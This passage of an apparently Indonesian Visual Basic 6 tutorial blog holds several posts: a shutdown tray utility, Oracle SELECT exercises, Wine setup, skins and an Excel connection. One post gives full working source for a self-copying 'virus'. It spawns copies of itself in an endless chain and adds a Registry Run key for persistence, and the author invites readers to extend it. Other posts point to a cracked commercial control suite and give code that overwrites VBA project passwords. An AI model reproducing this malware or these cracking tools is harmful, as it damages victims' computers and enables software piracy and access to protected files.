ByVal lpFileName As String) As Long

Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

Public OSVerInfo As OSVERSIONINFO
Public nid_Tray As NOTIFYICONDATA
Public frmCancelUnload As Boolean
Public strIniPath As String
Public strShutdown As String

Public Sub Main()
Dim strBuffLeft As String
Dim strBuffTop As String

Dim lngFlags As Long
Dim blnTrig As Boolean

If App.PrevInstance = True Then End
Call InitCommonControls

If Command <> "" Then
If InStr(1, Command, "shutdown") <> 0 Then
lngFlags = EWX_SHUTDOWN
blnTrig = True
ElseIf InStr(1, Command, "poweroff") <> 0 Then
lngFlags = EWX_POWEROFF
blnTrig = True
ElseIf InStr(1, Command, "reboot") <> 0 Then
lngFlags = EWX_REBOOT
blnTrig = True
ElseIf InStr(1, Command, "logoff") <> 0 Then
lngFlags = EWX_LOGOFF
blnTrig = True
End If

If InStr(1, Command, "force") <> 0 Then
lngFlags = lngFlags Or EWX_FORCE
ElseIf InStr(1, Command, "forceifhung") <> 0 Then
lngFlags = lngFlags Or EWX_FORCEIFHUNG
End If

If blnTrig = True Then
If IsWinNT = True Then Call EnableNTShutdown
Call ExitWindowsEx(lngFlags, 0)
End
End If
End If

Load frmMain

With nid_Tray
.cbSize = Len(nid_Tray)
.hIcon = frmMain.Icon
.hwnd = frmMain.hwnd
.szTip = frmMain.Caption & vbNullChar
.uCallbackMessage = WM_MOUSEMOVE
.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
.uID = vbNull
End With

Call Shell_NotifyIcon(NIM_ADD, nid_Tray)

frmCancelUnload = True 'cancel unload by default

strBuffLeft = String(255, vbNullChar)
strBuffTop = String(255, vbNullChar)

strIniPath = App.Path & "\" & App.Title & ".ini"

Call GetPrivateProfileString("Position", "Left", 0, strBuffLeft, 255, strIniPath)
Call GetPrivateProfileString("Position", "Top", 0, strBuffTop, 255, strIniPath)

frmMain.Left = strBuffLeft
frmMain.Top = strBuffTop

Call SetWindowPos(frmMain.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)

frmMain.Show
End Sub

Public Sub WriteINI(strSection As String, strKey As String, strValue As String, strPath As String)
Call WritePrivateProfileString(strSection, strKey, strValue, strPath)
End Sub

Public Sub SavePos(frmSave As Form, strPath As String)
If frmSave.WindowState = vbNormal Then
Call WriteINI("Position", "Left", frmSave.Left, strPath)
Call WriteINI("Position", "Top", frmSave.Top, strPath)
End If
End Sub

Public Function IsWinNT() As Boolean
OSVerInfo.dwOSVersionInfoSize = Len(OSVerInfo)
Call GetVersionEx(OSVerInfo)
If OSVerInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then IsWinNT = True
End Function

Public Sub EnableNTShutdown()
Dim TknPriv_Old As TOKEN_PRIVILEGES
Dim TknPriv_New As TOKEN_PRIVILEGES
Dim LUID_NTShutdown As LUID
Dim CurProc As Long
Dim TknHnd As Long

CurProc = GetCurrentProcess
Call OpenProcessToken(CurProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, TknHnd)
Call LookupPrivilegeValue(CompName, "SeShutdownPrivilege", LUID_NTShutdown)

TknPriv_Old.PrivilegeCount = 1
TknPriv_Old.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
TknPriv_Old.Privileges(0).pLuid = LUID_NTShutdown

Call AdjustTokenPrivileges(TknHnd, False, TknPriv_Old, 4 + (12 * TknPriv_Old.PrivilegeCount), TknPriv_New, 4 + (12 * TknPriv_New.PrivilegeCount))
End Sub

Public Function CompName() As String
Dim lngInStr As Long

CompName = String(MAX_COMPUTERNAME, vbNullChar)
Call GetComputerName(CompName, MAX_COMPUTERNAME + 1)

lngInStr = InStr(1, CompName, vbNullChar) 'error protection

If lngInStr <> 0 Then CompName = Mid(CompName, 1, lngInStr - 1)
End Function

Melihat IP Address dengan VB

2008-10-30T19:21:00.003+07:00

Kali ini kita akan membuat program yang bisa menampilkan ip address yang sedang aktif dikomputer saat ini.caranya kamu tinggal aktifkan komponen winsock seperti gambar dibawah ini.

Setelah diaktifkan maka komponen winsock akan tampil dalam menu toolbox komponen seperti pada gambar dibawah ini

setelah itu buat form baru dan kemudian masukkan komponen tersebut kedalam form yang sudah kamu buat.kemudian masukkan script dibawah ini

Private Sub Form_Load() MsgBox Winsock1.LocalIP End End Sub

Nah, mudah bukan?? silakan kamu kembangkan sesuai dengan program yang kamu buat dan semoga bermanfaat..

Latihan Basic Select Statement di ORACLE

2008-10-30T19:14:00.006+07:00

Pada latihan ini digunakan user HR. User HR sudah atomatis terbentuk jika ketika kita membuat database dengan tools Database Configuration Assistant option Schema Example di check

* membuka lock dan mengganti password user HR
SQL> CONNECT / AS SYSDBA
SQL> ALTER USER HR IDENTIFIED BY HR ACCOUNT UNLOCK

*Melihat tabel-tabel yang dimiliki user HR
SQL> DESC EMPLOYEES;
Name Null? Type
----------------------------------------- -------- ------------
EMPLOYEE_ID NOT NULL NUMBER(6)
FIRST_NAME VARCHAR2(20)
LAST_NAME NOT NULL VARCHAR2(25)
EMAIL NOT NULL VARCHAR2(25)
PHONE_NUMBER VARCHAR2(20)
HIRE_DATE NOT NULL DATE
JOB_ID NOT NULL VARCHAR2(10)
SALARY NUMBER(8,2)
COMMISSION_PCT NUMBER(2,2)
MANAGER_ID NUMBER(6)
DEPARTMENT_ID NUMBER(4)

Syntax perintah SELECT:
SELECT nama_kolom, nama_kolom, nama_kolom…
FROM nama_tabel;

Misalkan mau menampilkan data kolom EMPLOYEE_ID, LAST_NAME dan SALARY dari tabel EMPLOYEES.
SQL> SET PAUSE ON;
SQL> SELECT employee_id,
2 last_name,
3 salary
4 FROM employees;

Menampilkan semua kolom yang ada di tabel EMPLOYEES
SQL> SELECT * FROM EMPLOYEES;
Jika anda menggunakan SQL*Plus hasilnya pasti berantakan, itu dikarenakan secara default lebar layar SQL*Plus adalah 80 karakter. Agar layar SQL*Plus bisa menampilkan lebar lebih dari 80 karakter, misalnya sampai 200 karakter lakukan setting LINESIZE seperti ini.
SQL> SET LINESIZE 200
Penanganan nilai NULL
Null TIDAK SAMA DENGAN 0. Nilai NULL adalah nilai yang belum jelas atau tidak terukur, sehingga jika nilai NULL itu dilibatkan dalam suatu ekspresi akan selalu menghasilkan NULL.
SQL> SELECT EMPLOYEE_ID,
2 LAST_NAME,
3 SALARY,
4 COMMISSION_PCT,
5 SALARY + (SALARY * COMMISSION_PCT)
6 FROM EMPLOYEES;
EMPLOYEE_ID LAST_NAME SALARY COMMISSION_PCT SALARY+(SALARY*COMMISSION_PCT)
----------- ------------------------- ---------- -------------- ------------------------------
137 Ladwig 7200
138 Stiles 6400
139 Seo 5400
140 Patel 5000
141 Rajs 7000
142 Davies 6200
143 Matos 5200
144 Vargas 5000
145 Russell 28000 ,4 39200
146 Partners 27000 ,3 35100
147 Errazuriz 24000 ,3 31200
148 Cambrault 22000 ,3 28600
149 Zlotkey 21000 ,2 25200
150 Tucker 20000 ,3 26000
151 Bernstein 19000 ,25 23750
Perhatikan kolom SALARY+(SALARY*COMMISSION_PCT), untuk employees yang tidak punya komisi (nilai COMMISSION_PCT=NULL) nilainya juga NULL (kosong). Untuk menangani kasus seperti ini, digunakan function NVL. Function ini berfungsi untuk memberi nilai alias pada kolom yang bernilai NULL dalam suatu ekspresi.
Misal diinginkan, dalam penghitungan total gaji dan komisi jika ada employee yang commission_pct bernilai NULL maka commission_pct diberikan nilai 0 sehingga totalnya adalah nilai SALARY saja.

SQL> SELECT EMPLOYEE_ID,
2 LAST_NAME,
3 SALARY,
4 COMMISSION_PCT,
5 SALARY + (SALARY * NVL(COMMISSION_PCT,0))
6 FROM EMPLOYEES;
EMPLOYEE_ID LAST_NAME SALARY COMMISSION_PCT SALARY+(SALARY*NVL(COMMISSION_PCT,0))
----------- --------------- ---------- -------------- -------------------------------------
137 Ladwig 7200 7200
138 Stiles 6400 6400
139 Seo 5400 5400
140 Patel 5000 5000
141 Rajs 7000 7000
142 Davies 6200 6200
143 Matos 5200 5200
144 Vargas 5000 5000
145 Russell 28000 ,4 39200
146 Partners 27000 ,3 35100
147 Errazuriz 24000 ,3 31200
148 Cambrault 22000 ,3 28600
149 Zlotkey 21000 ,2 25200
150 Tucker 20000 ,3 26000
151 Bernstein 19000 ,25 23750

Alias Untuk Judul Kolom
Kolom alias digunakan untuk menggantikan judul kolom
Biasa digunakan untuk kolom-kolom yang ada ekspresinya
Ditulis sesudah kolom yang akan diganti judul kolomnya, bisa juga digunakan keyword AS antara nama kolom dengan kolom alias
Jika kolom alias terdapat karakter space atau karakter khusus lainnya maka apit kolom alias dengan tanda kutip ganda
SQL> SELECT EMPLOYEE_ID,
2 LAST_NAME,
3 SALARY,
4 COMMISSION_PCT,
5 SALARY + (SALARY * NVL(COMMISSION_PCT,0)) AS Total_Salary
6 FROM EMPLOYEES;
SQL> SELECT EMPLOYEE_ID,
2 LAST_NAME,
3 SALARY,
4 COMMISSION_PCT,
5 SALARY + (SALARY * NVL(COMMISSION_PCT,0)) AS “Total Salary”
6 FROM EMPLOYEES;

CONCATINATION
untuk menyambung/menggabungkan dua kolom menjadi satu kolom tampilan.
dengan karakter string
CONTOH.
Kolom dengan kolom
SQL> SELECT LAST_NAME||FIRST_NAME AS "Employee"
2 FROM EMPLOYEES;
Employee
--------------------------------
KingSteven
KochharNeena
HunoldAlexander
SQL> SELECT LAST_NAME||' '||FIRST_NAME AS "Employee"
2 FROM EMPLOYEES;
-- Ada spasi antara Kolom
Employee
--------------------------------
King Steven
Kochhar Neena
Hunold Alexander

literal character string
-- Memberi keterangan/string antara kolom
SQL> SELECT LAST_NAME||'ada di Department'||department_id
2 AS "Pegawai dan Department"
3 FROM EMPLOYEES;
SQL> SELECT LAST_NAME||' '||'ada di Department'||' '||department_id
2 AS "Pegawai dan Department"
3 FROM EMPLOYEES;

Installasi VB di LINUX

2008-10-30T14:22:00.006+07:00

Jika kamu ingin menjalankan program visual basic di linux kamu harus menginstall aplikasi emulator dulu di linux tersebut, sebagai contoh saya menggunakan emulator WINE.untuk menginstal wine anda bisa menggunakan sypnatic yang ada di linux tersebut.
Nah setelah itu perhatikan langkah berikut ini
1. Copy file riched20.dll, riched32.dll, urlmon.dll, oleaut32.dll, and hhctrl.ocx dari windows xp yang ada di direktory c:\windows\system32 kemudian paste di direktory wine yang ada di linux.

2. Masuk ke menu konfigrasi WINE yang ada dilinux tersebut, kemudian pilih tab libraries, kemudian add files berikut kedalam native:

hhctrl.ocx

oleaut32

riched20

riched32

urlmon

ole32

rpcrt4

3. Set Windows emulation menjadi Windows ME

setelah setting konfigurasi WINE selesai masuk ke dos prompt di linux tersebut kemudian masuk ke direktory dimana installer VB tersimpan setelah itu ketik kan WINE spasi SETUP.EXE dan tekan enter.
Jalankan Installasi sperti biasa,setelah selesai masuk ke menu konfigurasi WINE dan rubah windows emulation menjadi windows XP.
Selamat mencoba dan menjalankan aplikasi VB di linux...

Membuat tampilan VB tampil kereeeen

2008-10-29T11:12:00.011+07:00

Terkadang tampilan program yang kita buat terkesan biasa ato standart2 aja meskipun isi dari program kita terbilang program besar,nah untuk melengkapi program yang kita buat bisa tampil lebih kereen dan pastinya bisa menambah daya jual program kita menjadi lebih tinggi,alangkah baiknya kita beri themes ato skins.
berikut tampilan form yang sudah diberi skins..

Gimana?? keren kan?? untuk bisa membuat skin seperti ini silakan anda download programnya disini

Untuk menggunakan skin tersebut kamu harus mengaktifkan act43.ocx dulu pada program VB nah setelah diaktifkan tinggal anda buat form dan masukkan code script sperti dibawah ini

Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Const EM_UNDO = &HC7
Private Declare Function OSWinHelp% Lib "user32" Alias "WinHelpA" (ByVal hwnd&, ByVal HelpFile$, ByVal wCommand%, dwData As Any)

Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" (pOpenfilename As OpenFilename) As Long
Private Type OpenFilename
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
iFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
Flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Private Function ShowFileDialog() As String
Dim ofn As OpenFilename
ofn.lStructSize = Len(ofn)
ofn.hwndOwner = hwnd
ofn.lpstrFilter = "Skin files (*.skn)" & Chr$(0) & "*.skn" & Chr$(0) & Chr(0) & Chr(0)
ofn.lpstrFile = String(256, 0)
ofn.nMaxFile = 255
ofn.lpstrTitle = "Open Skin"
ofn.Flags = &H800000 + &H1000 + &H8 + &H4
ofn.lpstrDefExt = "skn" + Chr(0)
GetOpenFileName ofn
If Mid(ofn.lpstrFile, 1, 1) <> Chr(0) Then ShowFileDialog = ofn.lpstrFile
End Function

Private Sub Form_Load()
Skin1.ApplySkin Me.hwnd
Me.Left = GetSetting(App.Title, "Settings", "MainLeft", 1000)
Me.Top = GetSetting(App.Title, "Settings", "MainTop", 1000)
Me.Width = GetSetting(App.Title, "Settings", "MainWidth", 6500)
Me.Height = GetSetting(App.Title, "Settings", "MainHeight", 6500)

End Sub

Private Sub Form_Unload(Cancel As Integer)
If Me.WindowState <> vbMinimized Then
SaveSetting App.Title, "Settings", "MainLeft", Me.Left
SaveSetting App.Title, "Settings", "MainTop", Me.Top
SaveSetting App.Title, "Settings", "MainWidth", Me.Width
SaveSetting App.Title, "Settings", "MainHeight", Me.Height
End If
End Sub
Selamat mencoba dan berkreasi dengan program program yang lebih kereen...

Compact Database Acces

2008-10-25T10:22:00.004+07:00

compact database ato dalam bahasa mudahnya adalah memadatkan/merampingkan database, itu berfungsi untuk memadatkan size database yang ukurannya tidak efisien apabila kita sering melakukan input data kedalam database tersebut.Nah untuk mengefisienkan penyimpanan kedalam database maka diperlukan compacting database,jangan kuatir compacting database ini tidak membuat data anda hilang ataupun error.Dijamin deh pokoknya...tapi bukan sama penulis loh...Hehehehe...Just kidding...

Silakan anda mendownload source codenya disini

Selamat mencoba dan semoga bermanfaat...

Membuat Virus menggunakan VB

2008-10-25T09:31:00.008+07:00

Ingin tahu gimana membuat virus pakai vb. ikuti tutorial berikut ini:
Virus ini cuman menggandakan dirinya secara berulang – ulang,Kalo dibuka akan mengcopy dirinya 2 kali,terus-menerus,memberi penamaan pada dirinya sesuai nomor yang diacak,dan mendaftarin dirinya ke Register.bisa ditambahin kode-kode lain supaya lebih mantap,seperti block task: manager,msconfig,dsb.Mungkin ini kelihatan biasa aja,aq cuman ingin bagi-bagi ilmu aja,maaf ya.. kalo gak bisa gasih lebih..ini codenya :

Private Sub Form_Load()
On Error Resume Next
KopiSusu
DaftarinKeRegister
End Sub

Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Pengacakan = Int((High - Low + 1) * Rnd) + Low
End Function

Private Sub KopiSusu()
On Error Resume Next
X2 = 0
Do Until X2 = 2
X = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe"
Shell App.Path & "\" & App.EXEName & X & ".exe"
X2 = X2 + 1
Loop
End Sub

Private Sub DaftarinKeRegister()
X3 = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe"
Dim RegKey
Set RegKey = CreateObject("WScript.Shell")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe"
End Sub

Silakan dipelajari semoga bermanfaat tapi alangkah baiknya untuk tidak digunakan yang merugikan orang lain. "Ups...kok jadi ceramah ya.." Hee..he...hee...

Membuat Form VB bergaya XP

2008-10-25T09:27:00.004+07:00

Bagi teman-teman yang mau membuat aplikasi dari visual basic maka teman-teman bisa menggunakan kontrol yang dapat merubah tampilan form dan kontrol-kontrol yang lainnya. salah satunya anda bisa menggunakan OsenXPSuite, anda dapat mendonlotnya di www.osenxpsuite.com yang versi trialnya selama 30 hari, kemudian untuk versi fullnya anda harus membayar $180.
Setelah aku cari di 4shared.com akhirnya saya menemukan osenxpsuite 2006 yang udah ada cracknya. anda dapat mendownloadnya disini.

Setelah anda download maka anda akan dapat menggunakannya.
Berikut adalah tamplan setelah menggunakan OsenXPSuite2006

Semoga aja dapat membantu teman-teman dalam pembuatan aplkasi yang bagus

Mebongkar password VBA

2008-10-25T09:21:00.004+07:00

Setelah sekian lama file ini ga ketemu (Mengapa aku posting ni tulisan karena lebih dari 2 bulan yang lalu aku buat VBA di excell n aku protect dengan password tapi aku lupa tu password hehe maklum pelupa), 1 minggu lalu aku ketemukan akan tetapi akan pindah di hardisk yang salah alias aku pindah di hardisk yang kena badsector jadi ya hilang lagi deh..... Setelah sekian lama aku diamkan tu hardisk sampai 1 minggu maka berhasil juga aku buka tu hardisk, hehe akhirnya aku buatkan juga gimana cara crack atau merubah password pada Microsoft Word maupun Excell yang didalamnya ada VBA yang di password. Ni Tutorial aku dapatkan pada site www.vb-bego.net pada tahun 2006 yang dibuat oleh Anti Hacker.
Silahkan anda ikuti berikut ini:

Untuk mencoba source ini jalan apa nggak, coba bikin satu dokumen word atau excel, kemudian tekan ALT+F11 (maksudnya biar masuk ke VBA editorya) nah kalo udah berada pada VBA Editor, coba tambahkan beberapa component object. spt: module, form atau class.
Selanjutnya coba kamu proteksi VBA tersebut dengan cara klik kanan pada Project Explorer, kemudian pilih ...Properties...kemudian pilih TAB Protection.
Coba masukan password apa aja untuk mencobanya. kemudian save.
nah sekarang kita tinggal buat programnya.....hm..m...m.mmm..spt biasa tinggal Copy Paste nih source..., ok deh broo selamat mencoba.

Siapkan aja Form1 dan Command1 kemudian Copy Pastekan source berikut

Option Explicit
'// Header Password Untuk VBA
Const vbbego72 = "E9EB458A628A62759E8B62EFEB0B9567D2F09" & _
"604067445E7DBDA0C1565BA2023778FEFF9"
Const vbbego74 = "C2C06E8D52AA52AAAD5653AAE9253D286E4EE" & _
"E66E86F219911B87D7162FD74EEF579FEB513"
Const vbbego76 = "ADAF0155017E1E7E1E81E27F1E1BAF57D1DB8" & _
"E045A28FA28492BA70640C9B1EEEC57ABBBD325"
Const vbbegoxx = "5654FA3F0641585E585EA7A2595EDCE369B3D" & _
"FBAB6E0DBB94699F7682AD4B8EF5510B4E293F62A"

Private Sub Command1_Click()
Dim hFile As String
Dim inFile As Long, nLoop As Long
Dim Header As String
Dim State As Boolean
'// Header Key VBA Password
Header = Chr(&HD) & Chr(&HA) & Chr(&H44) & Chr(&H50) & _
Chr(&H42) & Chr(&H3D) & Chr(&H22)

'// Buka File Excel & Word
hFile = GetFile(Hwnd)
If Trim(hFile) <> "" Then
Dim isiDok As String * 1000
inFile = FileLen(hFile)
'// Lakukan pembackupan dokumen sebelum melakukan perubahan
Dim FileAsli As String
FileAsli = Dir(hFile & ".bak", vbNormal)
If FileAsli = "" Then
FileCopy hFile, hFile & ".bak"
End If

'// Baca Tulis Ke File
Open hFile For Binary Access Read Write As #1
'// Lakukan Pengulangan Menurut Ukuran File tsb
For nLoop = 1 To inFile Step 1000
'// Ambil Data Sebanyak 1000 Karakter
Get #1, nLoop, isiDok
DoEvents
Dim Pos1 As Long, pos2 As Long, pos3 As Long

'// Periksa Header Key Password
Pos1 = Instr(1, isiDok, Header, vbBinaryCompare)
If Pos1 Then
pos2 = nLoop + Pos1 + Len(Header) - 2
'// Ambil data pada pointer setelah Header Key
Get #1, pos2, isiDok
'// Periksa Isi data yg didapat, apakah terdapat End Key?
Pos1 = Instr(1, isiDok, Chr(&HD) & Chr(&HA), vbBinaryCompare)
If Pos1 Then
'// Hitung panjang password yang terdapat pada file
pos3 = Len(Replace(Mid(isiDok, 1, Pos1 - 1), Chr(34), ""))
If pos3 Then
Select Case pos3
Case 72
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego72
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case 74
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego74
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case 76
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego76
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case Else
'// Rubah dengan password baru
'Put #1, pos2 + 1, vbbegoxx
MsgBox "Password: komunitasvbbego", 64, "www.vbbego.com"
End Select
State = True
Exit For
End If '// Pos3
End If '// Pos1->2
End If '// Pos1->1
isiDok = ""
Next nLoop
Close #1
If State = False Then MsgBox "Password Tidak Ditemukan", _
16, "www.vbbego.com"
End If
End Sub

Setelah tu kamu tambahi Module1 kemudian tuliskan code berikut

Option Explicit
Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias _
"GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long

Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Function GetFile(Hwnd As Long) As String
Dim OFName As OPENFILENAME
OFName.lStructSize = Len(OFName)
OFName.hwndOwner = Hwnd
OFName.hInstance = App.hInstance
OFName.lpstrFilter = "Ms Ofice97/XP/2003(*.doc;*.xls)" _
+ Chr$(0) + "*.doc;*.xls" + Chr$(0) _
+ "Kabeh File (*.*)" + Chr$(0) + "*.*" + Chr$(0)
OFName.lpstrFile = Space$(254)
OFName.nMaxFile = 255
OFName.lpstrFileTitle = Space$(254)
OFName.nMaxFileTitle = 255
OFName.lpstrInitialDir = "C:\"
OFName.lpstrTitle = "Open File - vbBego Team 2000"
OFName.flags = 0
If GetOpenFileName(OFName) Then
GetFile = Left(OFName.lpstrFile, _
InStr(1, OFName.lpstrFile, Chr(0)) - 1)
Else
GetFile = ""
End If
End Function

Setelah selesaikan tinggal di jalankan deh dengan menekan tombol F5. Klik Aja command1 kememudian cari dokumen yang ada VBA terpassword (jangan lupa ditutup dulu ya dokumennya). Selamat Mencoba

Koneksi VB dengan Excell

2008-10-25T09:13:00.004+07:00

Mungkin anda pernah membuat suatu data dari excell dan anda merasa ga mau meninggal excell untuk pindah ke access, sedangkan anda hanya bisa menggunakan database access untuk diterapkan di Pemrogram pakai Visual basic 6.0. sehingga akan mengconverter data anda dari excell ke access. Gimana kalau nanti mau ke excell lagi wah di convert lagi deh tu data. hehehe enak juga ya tu data di pindah-pindah.
Tapi anda bisa menggunakan database dari data excell data untuk bisa dipanggil melalui Visual Basic sehingga anda tidak usah cari konverter.
Oke langsung aja akan ku tulisan source codenya

Ini Source codenya

Dim cn As ADODB.Connection
Dim rs As ADODB.Recordset

Option Explicit

Private Sub Command1_Click()

Set rs = New ADODB.Recordset
'--- mengambil data dari member
rs.Open "SELECT * FROM [Members$] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs

End Sub

Private Sub Command2_Click()

Set rs = New ADODB.Recordset

'--- mengambil data dari excel dari tab salary
rs.Open "SELECT * FROM [Salary$A1:B2] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs

End Sub

Private Sub Form_Load()

On Error GoTo ErrHandler
Set cn = New ADODB.Connection

' -- provider koneksi
cn.Provider = "Microsoft.Jet.OLEDB.4.0"

'--- membuat koneksi file excell
'---dari Excel 97/2000/2002 atau Excel 8.0
'--- dari Excel 95 atau Excel 5.0
cn.ConnectionString = _
"Data Source= " & App.Path & "/Book1.xls;" & _
"Extended Properties=Excel 8.0;"
cn.CursorLocation = adUseClient
cn.Open

Exit Sub
ErrHandler:
MsgBox "Tidak ada koneksi yang terjadi"
End Sub

Private Sub Command3_Click()
MsgBox "Contoh Koneksi Database Excell", vbInformation, ""
End
End Sub

Silahkan aja kamu coba dan dipelajari

Semoga dapat membantu.